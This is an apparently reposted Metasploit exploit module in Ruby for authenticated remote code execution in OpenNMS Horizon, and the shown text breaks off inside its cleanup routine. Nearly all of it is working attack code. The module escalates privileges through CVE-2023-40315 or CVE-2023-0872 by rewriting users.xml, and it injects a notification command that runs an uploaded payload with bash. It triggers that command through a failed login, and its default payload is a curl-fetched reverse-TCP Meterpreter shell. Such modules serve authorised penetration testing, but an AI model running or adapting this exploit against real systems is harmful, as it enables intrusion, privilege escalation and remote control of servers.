Share
## https://sploitus.com/exploit?id=PACKETSTORM:177727
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenNMS Horizon Authenticated RCE',  
'Description' => %q{  
This module exploits built-in functionality in OpenNMS  
Horizon in order to execute arbitrary commands as the  
opennms user. For versions 32.0.2 and higher, this  
module requires valid credentials for a user with  
ROLE_FILESYSTEM_EDITOR privileges and either  
ROLE_ADMIN or ROLE_REST.  
  
For versions 32.0.1 and lower, credentials are  
required for a user with ROLE_FILESYSTEM_EDITOR,  
ROLE_REST, and/or ROLE_ADMIN privileges. In that case,  
the module will automatically escalate privileges via  
CVE-2023-40315 or CVE-2023-0872 if necessary.  
  
This module has been successfully tested against OpenNMS  
version 31.0.7  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Erik Wynter' # @wyntererik - Discovery and Metasploit  
],  
'References' => [  
['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2  
['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2  
],  
'Platform' => 'linux',  
'Arch' => 'ARCH_CMD',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',  
'RPORT' => 8980,  
'SRVPORT' => 8080,  
'FETCH_COMMAND' => 'CURL',  
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),  
'FETCH_WRITABLE_DIR' => '/tmp',  
'FETCH_SRVPORT' => 8081,  
'WfsDelay' => 15 # It takes a while for the payload to execute  
},  
'Targets' => [ [ 'Linux', {} ] ],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => '2023-07-01',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])  
]  
  
register_advanced_options [  
OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def privesc_save_delay  
datastore['PRIVESC_SAVE_DELAY']  
end  
  
def notification_commands_file  
'notificationCommands.xml'  
end  
  
def destination_paths_file  
'destinationPaths.xml'  
end  
  
def notifications_file  
'notifications.xml'  
end  
  
def users_file  
'users.xml'  
end  
  
def check  
# Try to authenticate  
success, msg_or_check_code = opennms_login('check')  
return msg_or_check_code unless success  
  
vprint_status(msg_or_check_code)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.jsp'),  
'keep_cookies' => true  
})  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
# If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this  
# Instead, we should simply check if the HTLM body includes the expected title and version information  
unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')  
return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.')  
end  
  
# Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern  
version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first  
  
if version.blank?  
return CheckCode::Detected('Failed to obtain a valid OpenNMS version.')  
end  
  
begin  
rex_version = Rex::Version.new(version)  
rescue ArgumentError => e  
return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}")  
end  
  
if rex_version < Rex::Version.new('32.0.2')  
print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.")  
else  
print_status("The target is OpenNMS version #{version}.")  
end  
  
# Check if we can access the user configuration file. There are two ways to do this:  
# - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges.  
# - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges.  
# If neither of these work for us, RCE won't be possible.  
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first  
unless success  
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next  
return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly  
end  
  
# Extract the privileges of the current user  
success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check')  
return privs_or_check_code unless success  
  
# Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges  
if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR')  
if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN')  
# We don't need to escalate privileges here  
@highest_priv = 'GOD'  
return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.")  
end  
  
@highest_priv = 'ROLE_FILESYSTEM_EDITOR'  
elsif privs_or_check_code.include?('ROLE_ADMIN')  
@highest_priv = 'ROLE_ADMIN'  
return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.")  
elsif privs_or_check_code.include?('ROLE_REST')  
@highest_priv = 'ROLE_REST'  
else  
return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.")  
end  
  
# If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN  
# This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower  
if rex_version >= Rex::Version.new('32.0.2')  
return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.")  
end  
  
cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR'  
'CVE-2023-40315'  
else  
'CVE-2023-0872'  
end  
  
CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.")  
end  
  
# This method is use to handle failures based on the stage of the exploit  
#  
# @param mode [String] The mode to use: check, exploit or cleanup  
# @param message [String] The message to display to the user  
# @param status [String] The status to use: disconnected, unexpected_reply or no_access  
# @return [Array] An array containing a boolean and a CheckCode or message  
def deal_with_failure_by_mode(mode, message, status)  
return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup'  
  
case status  
when 'disconnected'  
return [false, CheckCode::Unknown(message)] if mode == 'check'  
  
fail_with(Failure::Disconnected, message)  
when 'unexpected_reply'  
return [false, CheckCode::Unknown(message)] if mode == 'check'  
  
fail_with(Failure::UnexpectedReply, message)  
when 'no_access'  
return [false, CheckCode::Safe(message)] if mode == 'check'  
  
fail_with(Failure::NoAccess, message)  
end  
end  
  
# This method is used to perform a login attempt  
#  
# @param mode [String] The mode to use: check, exploit or cleanup  
# @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not  
# @return [Array] An array containing a boolean and a CheckCode or message  
def opennms_login(mode, perform_invalid_login: false)  
if perform_invalid_login  
user = Rex::Text.rand_text_alpha(8..12)  
pass = Rex::Text.rand_text_alpha(8..12)  
keep_cookies = false  
else  
user = username  
pass = password  
keep_cookies = true  
  
res1 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login.jsp'),  
'keep_cookies' => keep_cookies  
})  
  
unless res1  
return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected')  
end  
  
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')  
msg = if mode == 'check'  
'Target is not an OpenNMS application.'  
else  
'Received unexpected response while attempting to access the OpenNMS Web Console.'  
end  
  
return deal_with_failure_by_mode(mode, msg, 'unexpected_reply')  
end  
end  
  
# Try to authenticate  
res2 = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),  
'keep_cookies' => keep_cookies,  
'vars_post' => {  
'j_username' => user,  
'j_password' => pass  
}  
})  
  
unless res2  
if perform_invalid_login  
return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."]  
else  
return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected')  
end  
end  
  
unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')  
if perform_invalid_login  
return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.']  
else  
message = if mode == 'check'  
'Authentication failed. Please check your credentials.'  
else  
'Received unexpected response while attempting to authenticate.'  
end  
  
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')  
end  
end  
  
# Authentication was successful  
if perform_invalid_login  
return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."]  
end  
  
[true, 'Successfully authenticated']  
end  
  
# This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint  
#  
# @param file_name [String] The name of the file to obtain  
# @param root_element [String] The name of the root element in the XML file  
# @param element [String] The name of the element to obtain from the XML file  
# @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure  
# @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint  
# @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document  
def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true)  
request_hash = {  
'method' => 'GET',  
'keep_cookies' => true  
}  
  
if filesystem  
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents')  
request_hash['vars_get'] = { 'f' => file_name }  
else  
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name)  
end  
  
# Try to obtain the file  
res = send_request_cgi(request_hash)  
  
unless res  
return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected')  
end  
  
# when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element  
if file_name == users_file  
if filesystem  
filesystem_root_element = 'userinfo'  
else  
filesystem_root_element = 'users'  
end  
else  
filesystem_root_element = root_element  
end  
  
unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>")  
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply')  
end  
  
# Parse the file  
begin  
doc = Nokogiri::XML(res.body)  
elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text }  
rescue Nokogiri::XML::SyntaxError => e  
return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply')  
end  
  
if elements.blank?  
return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply')  
end  
  
[true, doc]  
end  
  
# This method is used to obtain the privileges of a user from the users.xml file  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document containing the users  
# @param mode [String] The mode to use: check, exploit or cleanup  
# @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges  
def grab_user_privs(xml_doc, mode)  
privileges = []  
begin  
user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username }  
if user.blank?  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply')  
end  
  
privileges = user.css('role')&.map { |r| r&.text }  
if privileges.blank?  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply')  
end  
rescue Nokogiri::XML::SyntaxError => e  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply')  
end  
  
vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}")  
  
[true, privileges]  
end  
  
# This method is used to escalate or deescalate privileges  
#  
# @param deescalate [Boolean] Whether to escalate or deescalate privileges  
# @return [Array] An array containing a boolean and a CheckCode or message  
def escalate_or_deescalate_privs(deescalate: false)  
# Establish some variables based on if we need to escalate or deescalate privileges  
if deescalate  
use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR'  
mode = 'cleanup'  
else  
use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR'  
mode = 'exploit'  
end  
  
# grab and parse the users.xml file  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)  
return [false, xml_doc_or_msg] unless success  
  
# Get the privileges of the current user as a sanity check  
success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode)  
return [false, privileges_or_msg] unless success  
  
# if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise  
if deescalate && privileges_or_msg.exclude?(@role_to_add)  
return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.']  
end  
  
# if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise  
unless deescalate  
if use_filesystem  
if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST')  
# We don't need to escalate privileges here  
@highest_priv = 'GOD'  
return [true]  
end  
  
@role_to_add = 'ROLE_ADMIN'  
else  
if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR')  
# We don't need to escalate privileges here  
@highest_priv = 'GOD'  
return [true]  
end  
  
@role_to_add = 'ROLE_FILESYSTEM_EDITOR'  
end  
end  
  
# Add or remove the required role to the current user  
if use_filesystem  
# If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role  
begin  
user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username }  
if user.blank?  
message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges."  
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')  
end  
  
if deescalate  
role = user.css('role').find { |r| r.text == @role_to_add }  
if role.blank?  
return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.']  
end  
  
role.remove  
else  
user.add_child(xml_doc_or_msg.create_element('role', @role_to_add))  
end  
rescue Nokogiri::XML::SyntaxError => e  
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply')  
end  
  
# upload the edited users.xml file via the filesystem endpoint  
success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)  
unless deescalate  
# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved  
print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")  
sleep(privesc_save_delay)  
end  
return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen  
else  
# If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this  
# /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role  
res = send_request_cgi({  
'method' => deescalate ? 'DELETE' : 'PUT',  
'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add),  
'keep_cookies' => true  
}, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond.  
  
# 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed  
if res && ![204, 304].include?(res.code)  
return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply')  
end  
end  
  
# Get the users.xml file again to make sure our changes were saved  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)  
return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen  
  
# Get the privileges of the current user again to make sure our changes were saved  
success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode)  
return [false, privs_or_msg] unless success  
  
# Check if our changes were saved  
if deescalate  
if privs_or_msg.include?(@role_to_add)  
return [false, 'Failed to deescalate privileges. Manual cleanup is required.']  
end  
  
return [true, "Successfully deescalated privileges by removing #{@role_to_add}"]  
end  
  
# If we are here, we are escalating privileges  
unless privs_or_msg.include?(@role_to_add)  
fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges')  
end  
  
@highest_priv = 'GOD'  
[true, "Successfully escalated privileges by adding #{@role_to_add}"]  
end  
  
# This method is used to generate the XML document that will be used to add a notification command  
#  
# @param file_name [String] The name of the file to upload  
# @param xml_doc [Nokogiri::XML::Document] The XML document to upload  
# @return [Rex::MIME::Message] The post data  
def generate_post_data(file_name, data_to_write)  
post_data = Rex::MIME::Message.new  
post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"")  
  
post_data  
end  
  
# This method is used to upload an XML configuration file to the target  
#  
# @param file_name [String] The name of the file to upload  
# @param post_data [Rex::MIME::Message] The post data to upload  
# @param mode [String] The mode to use: exploit or cleanup  
# @return [Array] An array containing a boolean and an optional message  
def upload_xml_config_file(file_name, post_data, mode = 'exploit')  
# upload the edited notificationCommands.xml file  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => file_name },  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'keep_cookies' => true,  
'data' => post_data.to_s  
})  
  
unless res  
return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected')  
end  
  
unless res.code == 200 && res.body.include?('Successfully wrote to')  
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply')  
end  
  
[true]  
end  
  
def find_element_via_at_css(file_name)  
if [destination_paths_file, notifications_file].include?(file_name)  
return false  
end  
  
true  
end  
  
# This method is used to edit an XML configuration file  
#  
# @param file_name [String] The name of the file to edit  
# @param root_element [String] The name of the root element in the XML file  
# @param element [String] The name of the element to edit in the XML file  
def edit_xml_config_file(file_name, root_element, element)  
# First we need to get the current #{file_name} file, so we can edit our #{element_name} in it  
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')  
  
# update the xml document with a new element  
new_value = Rex::Text.rand_text_alpha(8..12)  
case file_name  
when notification_commands_file  
xml_doc = add_notification_command(xml_doc, new_value)  
when destination_paths_file  
xml_doc = add_destination_path(xml_doc, new_value)  
when notifications_file  
xml_doc = add_notification(xml_doc, new_value)  
end  
  
# upload the edited #{file_name} file via the filesystem endpoint  
upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit')  
  
# generate global variables for cleanup  
case file_name  
when notification_commands_file  
@notification_command_name = new_value  
when destination_paths_file  
@destination_path_name = new_value  
when notifications_file  
@notification_name = new_value  
end  
  
# Get the #{file_name} file again to make sure our #{element_name} was edited  
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')  
  
# Check if our #{element_name} was edited  
if find_element_via_at_css(file_name)  
full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value }  
else  
full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value }  
end  
  
if full_element.blank?  
fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited")  
end  
  
print_status("Successfully edited #{file_name}")  
end  
  
# This method is used to add a notification command to a Nokogiri XML document  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to  
# @param notification_command_name [String] The name of the notification command to add  
# @return [Nokogiri::XML::Document] The updated XML document  
def add_notification_command(xml_doc, notification_command_name)  
# A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload.  
  
# Update the xml document with a new notification command  
notification_comment = Rex::Text.rand_text_alpha(6..10)  
  
notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed  
name = xml_doc.create_element('name', notification_command_name)  
execute = xml_doc.create_element('execute', '/usr/bin/bash')  
comment = xml_doc.create_element('comment', notification_comment)  
argument = xml_doc.create_element('argument', 'streamed' => 'false')  
argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}")  
argument.add_child(argument_switch)  
  
notification_command.add_child(name)  
notification_command.add_child(execute)  
notification_command.add_child(comment)  
notification_command.add_child(argument)  
xml_doc.at_css('notification-commands').add_child(notification_command)  
  
xml_doc  
end  
  
# This method is used to add a destination path to a Nokogiri XML document  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to  
# @param destination_path_name [String] The name of the destination path to add  
# @return [Nokogiri::XML::Document] The updated XML document  
def add_destination_path(xml_doc, destination_path_name)  
# A destination path points to a specific group or user that will receive a notification when a notification is triggered.  
# It also indicates which notification command should be executed when the notification is triggered.  
# We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered.  
  
# Update the xml document with a new destination path  
destination_path = xml_doc.create_element('path', 'name' => destination_path_name)  
target = xml_doc.create_element('target')  
name = xml_doc.create_element('name', 'Admin')  
command = xml_doc.create_element('command', @notification_command_name)  
target.add_child(name)  
target.add_child(command)  
destination_path.add_child(target)  
xml_doc.at_css('destinationPaths').add_child(destination_path)  
  
xml_doc  
end  
  
# This method is used to add a notification to a Nokogiri XML document  
#  
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to  
# @param notification_name [String] The name of the notification to add  
# @return [Nokogiri::XML::Document] The updated XML document  
def add_notification(xml_doc, notification_name)  
# A notification is triggered when a specific event occurs, and can be configured to call a specific destination path.  
# We need to add a notification that will trigger our destination path so that our notification command gets executed.  
  
# Update the xml document with a new notification that will be triggered when a user fails to authenticate  
# since that is something we can easily trigger ourselves  
notification_message = Rex::Text.rand_text_alpha(6..10)  
  
notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on')  
uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure')  
# We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737)  
rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'")  
destination_path = xml_doc.create_element('destinationPath', @destination_path_name)  
text_message = xml_doc.create_element('text-message', notification_message)  
notification.add_child(uei)  
notification.add_child(rule)  
notification.add_child(destination_path)  
notification.add_child(text_message)  
xml_doc.at_css('notifications').add_child(notification)  
  
xml_doc  
end  
  
# This method is used to remove an element from an XML configuration file  
#  
# @param file_name [String] The name of the file to remove the element from  
# @param root_element [String] The name of the root element in the XML file  
# @param element [String] The name of the element to remove from the XML file  
# @param element_to_remove [String] The name of the element to remove from the XML file  
def revert_xml_config_file(file_name, root_element, element, element_to_remove)  
# First we need to get the current #{file_name} file, so we can remove our #{element_name} from it  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')  
unless success  
print_error(xml_doc_or_msg)  
return  
end  
  
begin  
if find_element_via_at_css(file_name)  
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove }  
else  
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove }  
end  
  
unless full_element.present?  
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required")  
return  
end  
  
full_element.remove  
rescue Nokogiri::XML::SyntaxError  
print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.")  
return  
end  
  
# generate post data  
post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3))  
  
success, message = upload_xml_config_file(file_name, post_data, 'cleanup')  
unless success  
print_error(message)  
return  
end  
  
# Get the #{file_name} file again to make sure our #{element_name} was removed  
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')  
unless success  
print_error(xml_doc_or_msg)  
return  
end  
  
# Check if our #{element_name} was removed  
if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove)  
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.")  
else  
vprint_status("Successfully removed #{element_to_remove} from #{file_name}")  
end  
end  
  
# This method is used to trigger a reload of the OpenNMS configuration  
#  
# @param mode [String] The mode to use: exploit or cleanup  
# @return [Array] An array containing a boolean and a message  
def update_configuration(mode)  
# We need to update the configuration in order for our changes to take effect  
xml_doc = Nokogiri::XML::Builder.new do |xml|  
xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do  
xml.uei('uei.opennms.org/internal/reloadDaemonConfig')  
xml.source('perl_send_event')  
xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z'))  
xml.host(Rex::Text.rand_text_alpha(8..12))  
xml.parms do  
xml.parm do  
xml.parmName('daemonName')  
xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' })  
end  
end  
end  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'events'),  
'ctype' => 'application/xml',  
'keep_cookies' => true,  
'data' => xml_doc.to_xml(indent: 3)  
})  
  
unless res  
message = 'Connection failed while attempting to update the configuration.'  
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'  
return deal_with_failure_by_mode(mode, message, 'disconnected')  
end  
  
unless res.code == 202  
message = 'Received unexpected response while attempting to update the configuration.'  
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'  
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')  
end  
  
[true, 'Successfully updated the configuration']  
end  
  
# This method is used to write the payload to a .bsh file and trigger the notification  
#  
# @param cmd [String] The command to execute  
def write_payload_to_bsh_file(cmd)  
# We need to write our payload to a .bsh file so that it can be executed by the notification command  
  
post_data = generate_post_data(@payload_file_name, cmd)  
  
res1 = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => @payload_file_name },  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'keep_cookies' => true,  
'data' => post_data.to_s  
})  
  
unless res1  
fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file')  
end  
  
unless res1.code == 200 && res1.body.include?('Successfully wrote to')  
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file')  
end  
  
# Get the payload file again to make sure it was uploaded successfully  
res2 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => @payload_file_name },  
'keep_cookies' => true  
})  
  
unless res2  
fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file')  
end  
  
unless res2.code == 200 && res2.body == cmd  
fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded')  
end  
  
print_good("Successfully uploaded the payload to #{@payload_file_name}")  
@payload_written = true  
end  
  
def execute_command(cmd, _opts = {})  
# Write the payload to a .bsh file  
write_payload_to_bsh_file(cmd)  
  
print_status('Triggering the notification to execute the payload')  
# Trigger the notification by performing a login attempt using random credentials  
success, message = opennms_login('exploit', perform_invalid_login: true)  
if success  
print_status(message)  
else  
print_error(message)  
end  
end  
  
# Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled  
# in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.  
# https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html  
def ensure_notifications_enabled  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.jsp'),  
'keep_cookies' => true  
})  
fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res  
  
if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?  
vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')  
res2 = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),  
'keep_cookies' => true,  
'vars_post' => {  
'status' => 'on'  
}  
})  
fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')  
end  
vprint_good('Notifications are enabled')  
end  
  
def exploit  
# Check if we need to escalate privileges  
if @highest_priv && @highest_priv != 'GOD'  
# This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best.  
_success, msg = escalate_or_deescalate_privs  
print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already  
end  
# Let's make sure we have a valid session by clearing the cookie jar and logging in again  
# This will also ensure that any new privileges we may have added are applied  
cookie_jar.clear  
_success, message = opennms_login('exploit')  
vprint_status(message) # _success will always be true here, otherwise we would have failed already  
  
# Check to ensure Notifications are turned on. If they are disabled, enable them.  
ensure_notifications_enabled  
  
# Generate a random payload file name  
@payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase  
  
# Add a notification command  
edit_xml_config_file(notification_commands_file, 'notification-commands', 'command')  
  
# Add a destination path  
edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path')  
  
# Add a notification  
edit_xml_config_file(notifications_file, 'notifications', 'notification')  
  
# Update the configuration changes we made  
update_configuration('exploit')  
  
# Write the payload and trigger the notification  
execute_command(payload.encoded)  
end  
  
def cleanup  
return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?)  
  
print_status('Attempting cleanup...')  
# to be on the safe side, we'll clear the cookie jar and log in again  
cookie_jar.clear  
success, message = opennms_login('cleanup')  
if success  
vprint_status(message)  
else  
print_error(message)  
